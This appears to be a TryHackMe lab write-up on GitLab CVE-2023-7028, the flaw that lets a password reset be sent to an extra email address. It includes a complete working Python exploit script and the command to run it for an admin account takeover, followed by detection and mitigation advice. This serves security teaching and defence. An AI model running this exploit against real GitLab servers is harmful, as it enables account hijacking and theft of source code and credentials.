# GitLab CVE-2023-7028

**Room Link:** [https://tryhackme.com/r/room/gitlabcve20237028](https://tryhackme.com/r/room/gitlabcve20237028)

## How Does It Work

The vulnerability was caused by a bug in how GitLab handled email verification during password reset. An attacker could provide two email addresses during a password reset request, and the reset code would be sent to both addresses. This allowed the attacker to reset the password of any user, even if they didn't know the user's current password.

Affected VersionsAll instances of GitLab CE/EE using the following versions were vulnerable:

* 16.1 to 16.1.5
* 16.2 to 16.2.8
* 16.3 to 16.3.6
* 16.4 to 16.4.4
* 16.5 to 16.5.5
* 16.6 to 16.6.3
* 16.7 to 16.7.1

Impact

A successful attack could allow the attacker to control the victim's GitLab account. This could allow the attacker to steal sensitive information, such as source code, commit history, and user credentials. The attacker could also use the compromised account to launch further attacks against other users or systems.

Detailed Technical Explanation

The vulnerability resided within GitLab's `POST /users/password` API endpoint, which is responsible for a password reset. The pentester exploited a flaw in email address validation, bypassing checks with invalid formats. Upon receiving a password reset request with an attacker-controlled email, GitLab incorrectly generated a reset token and sent it to the invalid address. Attackers then intercept this token and use it with a valid target user's email to initiate a password reset, ultimately hijacking the account.\


If we look at the password reset request in GitLab, we can see it is requesting to the `/users/password` endpoint with `authenticity_token` (hidden CSRF protection token) and email address as a parameter. If a target provides another secondary email address, a password reset token is also sent to the address.&#x20;

![Reset password request source code view](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/0b1bcaad54f02ef517007536c9ff492f.png)\


To understand how the vulnerability works, let's have a [source code review](https://gitlab.com/gitlab-org/gitlab-foss/-/commit/21f32835ac7ca8c7ef57a93746dac7697341acc0) of the Gitlab 16.1 (CE) stable version commits carried out after 10 Jan 24. We can see that multiple changes have been made in the file's repository.&#x20;

![GitLab commit history for version 16.1](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/1d538558a2d7e78e86411f99347ace88.png)\


The code located at `spec/controllers/passwords_controller_spec.rb` was accepting multiple emails as input; however, it lacked the email verification and validation mechanism to confirm if it was associated with the correct user.&#x20;

![code edit to accept single mail](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/20ade8839fb7db0e8a139ef10951bdc6.png)\


The attacker only required the authenticity\_token during form submission and the victim's email address to gain control of the target account.

## How to Exploit

Exploiting the vulnerability is simple for a red teamer and only requires an API call to `/users/password` method with the victim and target email address.

Connecting to the Machine\
We will use an Ubuntu-based machine hosting a GitLab instance to demonstrate the room's red team perspective. Start the virtual machine by clicking the `Start Machine` button in this task. Please wait 2-3 minutes for the machine to fully boot up. You can access the vulnerable GitLab instance by visiting the URL `http://gitlab.thm:8000`, but first, you need to add the hostname to your OS or AttackBox.

Moreover, the email server is accessible at `http://10.10.62.35:8090/rainloop`, which will be used during exploitation with the following credentials:

* Username: `attacker@mail.gitlab.thm`
* Password: `testing@123`

Preparing the Payload

We will be using a modified version of the [PoC](https://github.com/Vozec/CVE-2023-7028/blob/main/CVE-2023-7028.py) developed by Vozec to take control of the administrator account. Create a new file called `attack.py` and add the following code.

**attack.py**

```shell-session
import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()

class CVE_2023_7028:
    def __init__(self, url, target, evil=None):
        self.use_temp_mail = False
        self.url = urlparse(url)
        self.target = target
        self.evil = evil
        self.s = requests.session()

    def get_csrf_token(self):
        try:
            print('[DEBUG] Getting authenticity_token ...')
            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
            regex = r'<meta name="csrf-token" content="(.*?)" />'
            token = re.findall(regex, html)[0]
            print(f'[DEBUG] authenticity_token = {token}')
            return token
        except Exception:
            print('[DEBUG] Failed ... quitting')
            return None

    def ask_reset(self):
        token = self.get_csrf_token()
        if not token:
            return False

        query_string = urlencode({
            'authenticity_token': token,
            'user[email][]': [self.target, self.evil]
        }, doseq=True)

        head = {
            'Origin': f'{self.url.scheme}://{self.url.netloc}',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
            'Connection': 'close',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate, br'
        }

        print('[DEBUG] Sending reset password request')
        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
                           data=query_string,
                           headers=head,
                           verify=False).text
        sended = 'If your email address exists in our database' in html
        if sended:
            print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
            print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
        else:
            print('[DEBUG] Failed ... quitting')
        return sended

def parse_args():
    parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
    parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
    parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
    parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
    parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    exploit = CVE_2023_7028(
        url=args.url,
        target=args.target,
		evil=args.evil
    )
    if not exploit.ask_reset():
        exit()
 
```

We can see that the code first makes a `POST` request to the `/users/password/new` endpoint to scrap an authenticity token, then it makes another API call to the `/users/password` endpoint with the victim and attacker email addresses. As we know, the victim's email address is victim@mail.gitlab.thm. Run the command shown in the terminal below to execute the exploit:\
Post execution of attack.py

**Kali**

```shell-session
python3 attack.py -u http://gitlab.thm:8000 -t victim@mail.gitlab.thm -e attacker@mail.gitlab.thm
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fl9ntwtga1WQnxBJTv4xR%2Fimage.png?alt=media&#x26;token=c5e6168c-1e45-4f41-b8e2-4f7d6b764fd9" alt=""><figcaption></figcaption></figure>

Once you execute the command, you will receive an email in the attacker's account. Log in to the attacker mailbox, and you will see an email titled "Reset password instructions" containing a link to the account.&#x20;

![email containing the password reset link](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/e0f1c8d250402fd5e6349eb677051038.png)

﻿Click on the `Reset password` label; it will ask you to update the password.

![Reset password screen](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/ee8b4b5984c85e6aa78ea2778536b7a8.png)\


\
This is it; enter the password and take control of the administrator account (default username for administrator is root).

## Detection and Mitigation

In the previous task, we learned that the vulnerability can be exploited by making a simple API call to an endpoint. Such vulnerabilities are difficult to identify as legitimate calls to the endpoint will also occur.![](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/6a7720d2ea62914838c64dcfe3ac3a23.svg)

Examining Logs\
If we have an SIEM solution that captures weblogs, we can create an alert or use this search query to look for the following possible exploitation attempts:

* Check for weblogs for API calls to `/users/password` with multiple email addresses.
* Inspect email server logs for messages from GitLab with unexpected recipients (attacker-controlled emails).\

* Examine GitLab audit logs for entries containing a value for `meta.caller.id` as PasswordsController#create.

Mitigation Techniques\



As part of mitigation, GitLab has officially released the patch. We can see from the [source code review](https://gitlab.com/gitlab-org/gitlab-foss/-/commit/21f32835ac7ca8c7ef57a93746dac7697341acc0) that additional validation and verification steps have been added to the GitLab source code repository for the email address to curtail the possibility of exploitation in the future.

![GitLab protection shield with logo](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/8ccce20ed06ef96ba2ac69dade1f6315.png)\


However, it is of paramount importance to see that non-compliance with secure coding practices leads to disastrous results.

So far, we learned how to perform the attack and how to detect the attack patterns in the logs; let's talk about a few mitigation steps that we can take to prevent our servers from being exploited.

* Enable [GitLab security alerts](https://about.gitlab.com/security/) that would allow early awareness of patches.

![GitLab update security patch modal](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/f10bf8f2429499a73ecb54cfa59c12f2.PNG)\


* Upgrade GitLab to a patched version.
* Enable two-factor authentication (2FA) for all GitLab accounts, especially administrator accounts.
* Follow secure coding practices, including proper input validation and email address verification.



